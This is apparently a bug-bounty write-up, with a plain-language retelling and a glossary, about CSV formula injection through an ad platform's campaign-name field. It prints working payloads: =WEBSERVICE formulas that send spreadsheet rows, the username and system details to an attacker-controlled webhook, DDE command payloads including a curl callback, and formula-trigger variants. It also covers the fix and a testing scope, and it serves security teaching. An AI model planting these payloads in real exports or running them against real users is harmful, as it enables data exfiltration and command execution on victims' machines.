How a Campaign Name Became a No-Click Data Exfiltration Primitive: A Deep Dive into CSV Formula…
A user-controlled campaign name was written unsanitised into a CSV export, so a formula in the name executed when another user opened the file in Excel. An attacker could exfiltrate the victim's username, machine details, IP and sheet contents without a click, and on Excel installs with DDE enabled could achieve command execution.
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was an ad-tech platform with a multi-user account model. The feature at the centre of the finding is the Export to CSV button: a different user, often the account admin, periodically exports all campaigns to a CSV file for reporting. The export is then opened in Excel on Windows, typically by the account admin.
The field that carried the payload was the campaign name, a plain text box limited to 255 characters. Nothing about the field itself looked interesting. What mattered was the data flow around it: a low-privilege user controls a value, and a higher-privilege user later renders that value in a formula-executing context. The author describes this as stored injection with Excel as the sink instead of a browser, or as stored XSS where the victim's spreadsheet is the DOM.
The bug class is CWE-1236: Improper Neutralization of Formula Elements in a CSV File, which has a dedicated OWASP page. Excel, LibreOffice Calc and Google Sheets all treat a cell beginning with =, +, - or @ as a formula rather than text. If an application writes a user-controlled value into a spreadsheet without escaping it, the attacker is not writing data into the victim's file, they are writing code into it. The attacker never touches the victim's machine: the application delivers the payload and the victim's own spreadsheet software executes it. WAF, CSP and authentication are all irrelevant, because the dangerous step happens offline inside a desktop application after the HTTP request has finished.
Setup
Three roles make up the walkthrough:
- Attacker: a standard user who can create a campaign. No admin rights.
- Victim: another user in the same account, often the admin, who exports the campaigns CSV and opens it in Excel on Windows.
- Collector: a server controlled by the attacker. For the proof of concept, a free
https://webhook.site/<your-unique-id>endpoint was used, which logs every inbound request with full headers.
The preconditions are all properties of the platform:
- The platform is multi-user, with several people sharing one account.
- Any standard user can create or rename a campaign.
- A different user, often the account admin, periodically exports all campaigns to CSV for reporting and opens that file in Excel on Windows.
Always test with two accounts. A payload that only fires in your own session is not a vulnerability, it is you injecting yourself; the second account is what turns it into a finding.
Finding it
The campaign name was a 255-character text box that nobody looks at twice. The observation that made it a finding was not about the field but about the flow: the value is written straight into a CSV export with no sanitisation, and other users in the same account, including admins, download and open that export in Excel. Because the export is a formula-execution context, a formula stored in the name field executes in the victim's spreadsheet the moment they open the file, with no click.
Exploitation
Step 1: no-click exfiltration with =WEBSERVICE
Excel ships with a WEBSERVICE() function that makes an HTTP request and returns the response into the cell. It was designed for pulling live data from APIs, and it is also a textbook exfiltration primitive. The campaign name was set to:
=WEBSERVICE("https://webhook.site/<your-unique-id>?x="&B2&C2&D2&E2&F2&G2&H2&I2&J2&K2&L2&M2&N2&O2&P2&Q2&R2)
Piece by piece:
=WEBSERVICE("...")fires an HTTP GET the instant the sheet calculates, which happens on open, with no interaction.&B2&C2&...&R2concatenates the victim's row cells onto the query string, so the request carries the spreadsheet's own data back to the attacker.
The long &B2&C2... chain is ugly and can exceed a field limit. CONCAT(B2:R2) collapses the whole range into one reference and does the same job in far fewer characters:
=WEBSERVICE(“https://webhook.site/<your-unique-id>?x="&CONCAT(B2:R2))
Step 2: the attack sequence
- As the attacker: create a campaign and set its name to the payload above.
- As the victim: export the campaigns CSV and open it in Excel on Windows.
- On the collector: an inbound request appears with no click from the victim:
GET /<your-unique-id>?x=<contents of the victim's row>
Because it is a real HTTP request from the victim's machine, the webhook also logs their public IP and User-Agent (Excel and Windows version) for free.
Expected behaviour: the name is written as inert text, for example prefixed with a ', and nothing executes. Actual behaviour: the name is evaluated as a live formula in the victim's Excel and fires automatically.
Step 3: increasing what leaks
Excel has built-in functions that describe the victim's environment. All of these are single-argument, comma-free and fit a short field:
=WEBSERVICE("https://webhook.site/<your-unique-id>?u="&CELL("filename")&"&os="&INFO("osversion")&"&xl="&INFO("release"))
CELL("filename")returns the victim's Windows username and file path, for exampleC:\Users\<username>\Downloads\[export.csv]Sheet1.INFO("osversion")andINFO("release")return the OS build and Excel version.- Cell references return the contents of the opened spreadsheet.
- Public IP and User-Agent are captured automatically from the HTTP request itself.
The ceiling of the formula sandbox
A worksheet formula is sandboxed: it can read the spreadsheet and make outbound HTTP, and that is all. It cannot read cookies, session tokens, saved passwords or other files on disk. Stating this in a report earns credibility, and it sets up the next step, where the ceiling disappears.
Step 4: command execution via DDE
The formula sandbox is a property of functions such as WEBSERVICE, not of the CSV. The same unsanitised field also accepts DDE (Dynamic Data Exchange) payloads, and DDE launches external programs. The classic proof-of-execution payload is:
=cmd|'/C calc'!A0
A callback variant proves execution and exfiltrates host and user:
=cmd|'/C curl https://webhook.site/<your-unique-id>/%computername%-%username%'!A0
On a current, fully patched Windows Excel, these returned #BLOCKED!. Microsoft disabled DDE server launch by default years ago, so command execution did not occur in a default configuration. The author is explicit that no calculator was popped and does not claim otherwise.
The key point is that the application never neutralises the input, so the DDE payload is stored and delivered intact. On any Excel where DDE is enabled, the same payload yields OS command execution, after the user clicks through Excel's DDE prompt. That is not hypothetical for many real environments:
- Older Excel versions from before the off-by-default change.
- Enterprises that deliberately re-enable DDE because they depend on legacy DDE workbooks.
Non-destructive demonstration payloads:
=cmd|'/C calc'!A0 =cmd|'/C notepad'!A0 =cmd|'/C echo %username% > %TEMP%\poc.txt'!A0
Leading-character variants, for when the stored value must begin with something else and still parse as a formula:
+cmd|'/C calc'!A0-2+3+cmd|'/C calc'!A0@SUM(1+1)*cmd|'/C calc'!A0
Once any command runs, it runs as the victim's Windows user, so an attacker is not limited to calc. The same /C channel runs anything that user could: download and run a second-stage payload, read and exfiltrate local files, establish persistence. calc, notepad and the curl callback are used purely as safe demonstrations.
Root cause
The export routine writes user-controlled cell values into the CSV without neutralising formula triggers. A single missing sanitisation step is the root cause of both the no-click exfiltration and the command execution: fix it once and both disappear.
The dangerous step happens offline, inside a desktop application, after the HTTP request is over, so WAF, CSP and authentication are irrelevant.
Impact
The reflexive triage response to CSV injection is low or informational because it needs user interaction. The data flow argues otherwise:
- A low-privilege user attacks a high-privilege one. The payload sits in a shared dataset the admin routinely exports. This is privilege escalation by proxy.
- The user interaction is just opening a file the application told them to download. There is no link to click and no macro to enable; the
=WEBSERVICEvariant fires on open. - Real data crosses a trust boundary. The victim's machine identity, IP and the exported contents land on an attacker server. If the export contains other users' PII, this is a breach channel.
- Conditional RCE is still RCE where DDE is on. The application delivers a live command-execution payload to every viewer; whether it detonates depends only on the viewer's Excel configuration, not on anything the application did right.
A fair CVSS 3.1 base score for the default-configuration, exfiltration-only case is around 4.3 (AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N). The DDE-enabled command-execution case scores far higher, but the author would report that as the conditional escalation it is rather than the headline, precisely because it could not be detonated in a default configuration. Scoping claims to what was proved is what carries the report.
Fix
When generating any CSV export, neutralise every user-controlled cell whose value begins with a formula trigger:
- Dangerous leading characters:
=+-@, plus Tab (0x09) and Carriage Return (0x0D). - Neutralise by prefixing the value with a single quote (
'), or by wrapping it in double quotes with the leading character escaped.
def sanitize_csv_cell(value: str) -> str: if value and value[0] in ('=', '+', '-', '@', '\t', '\r'): return "'" + value return value
Apply it to all user-controlled fields on export, not just the one that was found. The OWASP CSV Injection page is the reference. That single transformation stops =WEBSERVICE exfiltration and =cmd DDE execution together, because neither is ever written as a live formula again.
Variants to test
- Other export formats. Any download feature that emits CSV, TSV or XLS is a formula-execution context waiting for unescaped input. A positive result is a stored value that begins with
=,+,-or@and appears unchanged in the downloaded file. - PDF and HTML exports. These have their own injection sinks and should be checked separately. A positive result is script or markup from a stored field being rendered by the export renderer.
- Every user-controlled field, not just the obvious one. The campaign name was boring; the flow made it dangerous. A positive result is any low-privilege-controlled value that reaches a high-privilege user's spreadsheet.
- Leading-character variants. If the stored value must begin with something else, try the
+,-and@prefixes shown above. A positive result is the value still parsing as a formula when the file is opened. - Environment-describing functions.
CELL("filename"),INFO("osversion")andINFO("release")are single-argument and comma-free, so they fit short fields. A positive result is a callback carrying the victim's username, path, OS build or Excel version. - Range concatenation.
CONCAT(B2:R2)keeps the payload short enough for tight field limits. A positive result is a callback carrying the contents of the victim's row. - DDE payloads.
=cmd|'/C calc'!A0and thecurlcallback variant test whether the application delivers DDE intact. A positive result is actual execution where DDE is enabled. - Two accounts, always. A payload that only fires in your own session is not a finding. A positive result is the payload firing in the second account's export.
What happened, in plain words
A website for running online advertising campaigns had a button called Export to CSV. Pressing it downloads a file listing all the campaigns in the account. People then open that file in Microsoft Excel to look at the numbers.
One of the things you can type into this website is a campaign name. It is just a text box, 255 characters long. The website copied whatever was typed there straight into the downloaded file, without cleaning it up first.
That is the whole problem. Excel does not treat every cell as plain text. If a cell starts with certain characters, Excel treats the rest of the cell as a formula, which is a small instruction that Excel carries out. So a person with an ordinary account could type a formula into a campaign name, and when an administrator later downloaded the file and opened it, Excel would run that formula on the administrator's computer. Nobody had to click anything. The formula could then send information from the administrator's computer to a server the attacker controlled.
This kind of bug is called CSV injection, or more formally CWE-1236: Improper Neutralization of Formula Elements in a CSV File. It is old, well documented, and still very common.
Why CSV injection is the bug everyone forgets
Every web application seems to have an Export to CSV button. It feels dull, so nobody thinks about how an attacker might abuse it. That is exactly why it keeps turning up.
To understand it, you need to know what a CSV file is. CSV stands for comma-separated values. It is the simplest possible spreadsheet format: a plain text file where each line is a row and commas separate the columns. It looks like this:
Excel, LibreOffice Calc and Google Sheets can all open such a file. And here is the important part: these programs treat a cell that begins with =, +, - or @ as a formula, not as text. A formula is an instruction the spreadsheet calculates, for example =1+1 shows 2. Some formulas can do much more than arithmetic, as we will see.
So if a website lets you type a value that later lands in someone else's spreadsheet without being escaped, you are not writing data into their file. You are writing a small program into it.
The attacker never touches the victim's computer. The application delivers the payload, and the victim's own spreadsheet software runs it. That is what makes it quietly dangerous. Every protection between attacker and victim, such as a WAF (a web application firewall, a filter that inspects incoming web traffic), a CSP (content security policy, a browser rule about which scripts may run) or a login check, is irrelevant. The dangerous step happens offline, inside a desktop program, long after the web request is finished.
This bug class has its own page on the OWASP website. OWASP is a well-known non-profit that publishes free guidance on web security. Despite that documentation, triagers (the people who decide whether a reported bug is serious) often dismiss CSV injection as "informational", meaning not worth fixing. That is usually a mistake, as this story shows.
The setup
The vulnerable field was a campaign name: a plain text box, 255 characters, the kind of field nobody looks at twice. What mattered was not the field itself but the data flow around it, meaning the path a value takes through the system.
- The platform is multi-user. Several people share one account.
- Any standard user can create or rename a campaign.
- A different user, often the account admin, regularly exports all campaigns to CSV for reporting and opens that file in Excel on Windows.
That data flow is the whole vulnerability. A low-privilege user controls a value. A higher-privilege user later displays it in a context where formulas run. The author calls this stored injection, because the malicious value is saved on the server and delivered later, with Excel as the place where it finally executes instead of a web browser. A useful comparison: it is like stored XSS (a bug where a saved value later runs as code in someone else's browser), except the victim's spreadsheet plays the role of the browser page.
Three roles appear in the walkthrough:
- Attacker: a standard user who can create a campaign. No admin rights.
- Victim: another user in the same account, for example the admin, who exports and opens the CSV.
- Collector: a server the attacker controls. For the proof of concept, a free
https://webhook.site/<your-unique-id>endpoint was used. webhook.site is a public service that gives you a unique web address and records every request that arrives at it, including all the details the sender's browser or program included. Think of it as a mailbox with a glass wall: anyone can post to it, and you can see exactly what arrived and from where.
Finding it
The campaign name was a 255-character text box that nobody looks at twice. The observation that turned it into a finding was not about the field but about the flow: the value is written straight into a CSV export with no sanitisation (cleaning input so it cannot be misinterpreted), and other users in the same account, including admins, download and open that export in Excel. Because the export is a place where formulas run, a formula stored in the name field runs in the victim's spreadsheet the moment they open the file, with no click.
Always test with two accounts. A payload that only fires in your own session is not a vulnerability, it is you injecting yourself. The second account is what turns it into a finding.
Exploitation
Step 1: no-click exfiltration with =WEBSERVICE
Excel ships with a function called WEBSERVICE(). A function is a named built-in instruction; you give it something in brackets and it gives you a result. WEBSERVICE() takes a web address, makes an HTTP request to it (the same kind of request a browser makes when you visit a page), and puts the response into the cell. It was designed for pulling live data from APIs. An API is a way for one program to ask another program for data over the network, like a waiter taking your order to the kitchen and bringing back the dish. WEBSERVICE() is also a textbook exfiltration primitive: exfiltration means secretly sending data out of a system to somewhere the attacker can read it.
The campaign name was set to:
Piece by piece:
=WEBSERVICE("...")tells Excel to fetch the web address in the quotes. The=at the start is what makes Excel treat the whole cell as a formula rather than text. The request fires the instant the sheet calculates, which happens when the file is opened, with no interaction.&is Excel's way of gluing pieces of text together, like adding words to a sentence.B2,C2and so on are cell references: the address of a cell, column letter plus row number.B2means column B, row 2. The chain&B2&C2&...&R2glues the victim's row cells onto the end of the web address, so the request carries the spreadsheet's own data back to the attacker.?x=marks the start of the query string, the part of a web address after the question mark that carries extra information. Everything after it is the data being sent.
The long &B2&C2... chain is ugly and can exceed a field limit. CONCAT(B2:R2) collapses the whole range into one reference and does the same job in far fewer characters:
=WEBSERVICE(“https://webhook.site/<your-unique-id>?x="&CONCAT(B2:R2))
CONCAT is another Excel function that joins several pieces of text into one. B2:R2 means the rectangle from cell B2 to cell R2, which in a single row is the whole row of data. So this shorter version sends the same row contents in fewer characters, which matters when the text box only allows 255 of them.
Step 2: the attack sequence
- As the attacker: create a campaign and set its name to the payload above.
- As the victim: export the campaigns CSV and open it in Excel on Windows.
- On the collector: an inbound request appears with no click from the victim:
GET /<your-unique-id>?x=<contents of the victim's row>
This is the line the collector records. GET is the name of the most common HTTP method, the one a browser uses when it simply asks for a page. The path after it is the webhook address, and ?x= is followed by whatever was in the victim's row. Because it is a real HTTP request from the victim's machine, the webhook also logs their public IP (the address their network uses on the internet) and their User-Agent (a line of text in which a program identifies itself, here revealing the Excel and Windows versions) for free.
Expected behaviour: the name is written as inert text, for example prefixed with a ', and nothing executes. Actual behaviour: the name is evaluated as a live formula in the victim's Excel and fires automatically.
Step 3: increasing what leaks
Excel has built-in functions that describe the victim's environment. All of these take a single argument, contain no commas, and fit a short field:
=WEBSERVICE("https://webhook.site/<your-unique-id>?u="&CELL("filename")&"&os="&INFO("osversion")&"&xl="&INFO("release"))
CELL("filename")returns the victim's Windows username and file path, for exampleC:\Users\<username>\Downloads\[export.csv]Sheet1. The path is the location of the file on disk, and it contains the account name of the person who opened it.INFO("osversion")andINFO("release")return the operating system build and the Excel version.INFOis a function that reports facts about the program and machine it is running on.- Cell references return the contents of the opened spreadsheet, as in the previous step.
- Public IP and User-Agent are captured automatically from the HTTP request itself, without any formula needed.
The ceiling of the formula sandbox
A worksheet formula is sandboxed: it runs in a restricted space. It can read the spreadsheet and make outbound HTTP requests, and that is all. It cannot read cookies, session tokens, saved passwords or other files on disk. A cookie is a small piece of data a website stores in your browser so it can recognise you on the next request; a session token is the value inside it that proves you are logged in. If an attacker stole those, they could take over the account. Saying plainly what a bug cannot do earns credibility in a report, and it sets up the next step, where the ceiling disappears.
Step 4: command execution via DDE
The formula sandbox is a property of functions such as WEBSERVICE, not of the CSV file. The same unsanitised field also accepts DDE (Dynamic Data Exchange) payloads. DDE is an old Windows feature that lets one program ask another program to do something, including starting a program. The classic proof-of-execution payload is:
=cmd|'/C calc'!A0
Reading it left to right: = makes Excel treat the cell as a formula. cmd is the Windows command prompt, the program that runs typed commands. The vertical bar | separates the program name from the instruction given to it. '/C calc' tells the command prompt to run the command calc, which opens the Windows calculator. !A0 is DDE's way of naming a cell to read the result from, and it is required for the syntax to be accepted. If the calculator window appears, code from a spreadsheet cell has started a program on the machine.
A callback variant proves execution and exfiltrates host and user:
=cmd|'/C curl https://webhook.site/<your-unique-id>/%computername%-%username%'!A0
Here curl is a command-line tool that fetches a web address. %computername% and %username% are Windows environment variables, named values the system keeps about itself; they expand to the machine's name and the logged-in user's name. So this command sends a request to the collector with the computer and user names in the address, proving both that a command ran and who ran it.
On a current, fully patched Windows Excel, these returned #BLOCKED!. That is an error value Excel shows when it refuses to run something. Microsoft disabled DDE server launch by default years ago, so command execution did not occur in a default configuration. The author is explicit that no calculator was popped and does not claim otherwise.
The key point is that the application never neutralises the input, so the DDE payload is stored and delivered intact. On any Excel where DDE is enabled, the same payload yields OS command execution (the operating system runs a program of the attacker's choosing), after the user clicks through Excel's DDE prompt, a warning box asking whether to allow it. That is not hypothetical for many real environments:
- Older Excel versions from before the off-by-default change.
- Enterprises that deliberately re-enable DDE because they depend on legacy DDE workbooks.
Non-destructive demonstration payloads:
=cmd|'/C calc'!A0 =cmd|'/C notepad'!A0 =cmd|'/C echo %username% > %TEMP%\poc.txt'!A0
The first two open the calculator and Notepad, harmless programs, so the tester can see that execution happened without damaging anything. The third writes the current username into a file called poc.txt in the %TEMP% folder, the system's scratch space for temporary files. echo prints text and > redirects that text into a file. A marker file like this proves execution without changing anything important.
Leading-character variants, for when the stored value must begin with something else and still parse as a formula:
+cmd|'/C calc'!A0-2+3+cmd|'/C calc'!A0@SUM(1+1)*cmd|'/C calc'!A0
These use +, - and @ instead of = at the start, because Excel also treats those as the beginning of a formula. The extra bits such as -2+3 or @SUM(1+1)* are there to make the cell look like ordinary arithmetic while still containing the DDE instruction. They matter when a field rejects a value starting with = but accepts one starting with another trigger character.
Once any command runs, it runs as the victim's Windows user, so an attacker is not limited to calc. The same /C channel runs anything that user could: download and run a second-stage payload, read and exfiltrate local files, establish persistence. calc, notepad and the curl callback are used purely as safe demonstrations.
Root cause
The export routine writes user-controlled cell values into the CSV without neutralising formula triggers. A single missing sanitisation step is the root cause of both the no-click exfiltration and the command execution: fix it once and both disappear.
The dangerous step happens offline, inside a desktop application, after the HTTP request is over, so WAF, CSP and authentication are irrelevant.
Impact
The reflexive triage response to CSV injection is low or informational because it needs user interaction. The data flow argues otherwise:
- A low-privilege user attacks a high-privilege one. The payload sits in a shared dataset the admin routinely exports. This is privilege escalation by proxy: a weaker account gains the effect of a stronger one, without ever logging in as it.
- The user interaction is just opening a file the application told them to download. There is no link to click and no macro to enable; the
=WEBSERVICEvariant fires on open. - Real data crosses a trust boundary. The victim's machine identity, IP and the exported contents land on an attacker server. If the export contains other users' personal data (PII, personally identifiable information), this is a breach channel.
- Conditional RCE is still RCE where DDE is on. RCE stands for remote code execution, meaning an attacker gets code to run on someone else's machine. The application delivers a live command-execution payload to every viewer; whether it detonates depends only on the viewer's Excel configuration, not on anything the application did right.
A fair CVSS 3.1 base score for the default-configuration, exfiltration-only case is around 4.3 (AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N). CVSS is a standard scoring system for vulnerabilities; the letters in brackets are its individual measurements, covering things like whether the attack is over the network, whether the attacker needs an account, and whether the user must do something. The DDE-enabled command-execution case scores far higher, but the author would report that as the conditional escalation it is rather than the headline, precisely because it could not be detonated in a default configuration. Scoping claims to what was proved is what carries the report.
Fix
When generating any CSV export, neutralise every user-controlled cell whose value begins with a formula trigger:
- Dangerous leading characters:
=+-@, plus Tab (0x09) and Carriage Return (0x0D). Tab and carriage return are invisible control characters that also belong on the list. - Neutralise by prefixing the value with a single quote (
'), or by wrapping it in double quotes with the leading character escaped. A leading'tells Excel "treat the rest as text", which is exactly what you want.
def sanitize_csv_cell(value: str) -> str: if value and value[0] in ('=', '+', '-', '@', '\t', '\r'): return "'" + value return value
Line by line: def sanitize_csv_cell(value: str) -> str: defines a small function named sanitize_csv_cell that takes one piece of text, called value, and returns a piece of text. if value and value[0] in ('=', '+', '-', '@', '\t', '\r'): checks that the value is not empty and that its first character is one of the dangerous ones; \t is a tab and \r is a carriage return. return "'" + value puts a single quote in front of the value and returns the result. return value returns the value unchanged when it is safe. Apply it to all user-controlled fields on export, not just the one that was found. The OWASP CSV Injection page is the reference. That single transformation stops =WEBSERVICE exfiltration and =cmd DDE execution together, because neither is ever written as a live formula again.
Variants to test
- Other export formats. Any download feature that emits CSV, TSV or XLS is a formula-execution context waiting for unescaped input. A positive result is a stored value that begins with
=,+,-or@and appears unchanged in the downloaded file. - PDF and HTML exports. These have their own injection sinks and should be checked separately. A positive result is script or markup from a stored field being rendered by the export renderer.
- Every user-controlled field, not just the obvious one. The campaign name was boring; the flow made it dangerous. A positive result is any low-privilege-controlled value that reaches a high-privilege user's spreadsheet.
- Leading-character variants. If the stored value must begin with something else, try the
+,-and@prefixes shown above. A positive result is the value still parsing as a formula when the file is opened. - Environment-describing functions.
CELL("filename"),INFO("osversion")andINFO("release")are single-argument and comma-free, so they fit short fields. A positive result is a callback carrying the victim's username, path, OS build or Excel version. - Range concatenation.
CONCAT(B2:R2)keeps the payload short enough for tight field limits. A positive result is a callback carrying the contents of the victim's row. - DDE payloads.
=cmd|'/C calc'!A0and thecurlcallback variant test whether the application delivers DDE intact. A positive result is actual execution where DDE is enabled. - Two accounts, always. A payload that only fires in your own session is not a finding. A positive result is the payload firing in the second account's export.
Lessons for hunters
- Follow the data, not the field. The campaign name was boring. The flow, a low-privilege input shown in a high-privilege user's desktop program, was the bug.
- Exports are a sink. A sink is the place where data finally gets used in a dangerous way. Any download feature that emits CSV, TSV or XLS is a formula-execution context waiting for unescaped input. Check PDF and HTML exports for their own injection sinks too.
- Prove what you can, scope what you can't. The
=WEBSERVICEcallback was obtained cleanly, and the author was upfront that DDE was#BLOCKED!in the default configuration. Honesty about the ceiling made the conditional-RCE section more believable, not less. - Always test with two accounts. A payload that only fires in your own session is not a vulnerability, it is you injecting yourself.
Export buttons are everywhere, and most of them are still unescaped. Go look.
Written up for educational purposes. Only ever test systems you are authorised to test, use a collector you control, and keep proof-of-concept payloads non-destructive (calc, notepad, a marker file). Never run anything on a real victim's machine.
Glossary
- API: a way for one program to ask another program for data over a network, like a waiter carrying an order to the kitchen.
- Application: the web service being tested, here the advertising platform.
- Campaign name: the user-controlled text field that carried the payload.
- Cell reference: the address of a spreadsheet cell, such as
B2for column B, row 2. - Collector: a server the attacker controls that records incoming requests, here a webhook.site endpoint.
- Cookie: a small piece of data a website stores in your browser so it can recognise you on later requests.
- CSV: comma-separated values, a plain text spreadsheet format where lines are rows and commas separate columns.
- CSV injection: writing a value into a spreadsheet that the spreadsheet program treats as a formula and runs.
- CSP: content security policy, a browser rule limiting which scripts a page may run.
- CVSS: a standard scoring system for rating the severity of vulnerabilities.
- CWE-1236: the catalogue entry for improper neutralisation of formula elements in a CSV file.
- DDE: Dynamic Data Exchange, an old Windows feature that lets one program ask another to do something, including starting a program.
- Environment variable: a named value the operating system keeps about itself, such as
%username%. - Exfiltration: secretly sending data out of a system to a place the attacker can read it.
- Formula: an instruction a spreadsheet calculates, recognised by a leading
=,+,-or@. - Function: a named built-in instruction that takes input in brackets and returns a result.
- HTTP request: the message a browser or program sends to a web server to ask for something.
- Informational: a triage label meaning a report is not considered worth fixing.
- Multi-user: an account model where several people share one account.
- OS command execution: the operating system running a program chosen by an attacker.
- OWASP: a non-profit that publishes free guidance on web security.
- Payload: the malicious value an attacker stores or sends.
- PII: personally identifiable information, data that identifies a real person.
- Privilege escalation: gaining the effect of a more powerful account without being logged in as it.
- Public IP: the address a network uses on the internet.
- Query string: the part of a web address after
?that carries extra data. - RCE: remote code execution, getting code to run on someone else's machine.
- Sandbox: a restricted space in which code runs, limiting what it can touch.
- Sanitisation: cleaning input so it cannot be misinterpreted by the program that receives it.
- Session token: the value that proves you are logged in to a website.
- Sink: the place where data finally gets used in a dangerous way.
- Stored injection: a bug where a saved value is delivered later and runs in someone else's program.
- Stored XSS: a bug where a saved value later runs as code in another user's browser.
- Triager: the person who decides whether a reported bug is real and how serious it is.
- User-Agent: a line of text in which a program identifies itself and its version.
- WAF: web application firewall, a filter that inspects incoming web traffic.
- webhook.site: a public service that gives you a unique web address and records every request sent to it.
- XLS: the older binary spreadsheet file format used by Excel.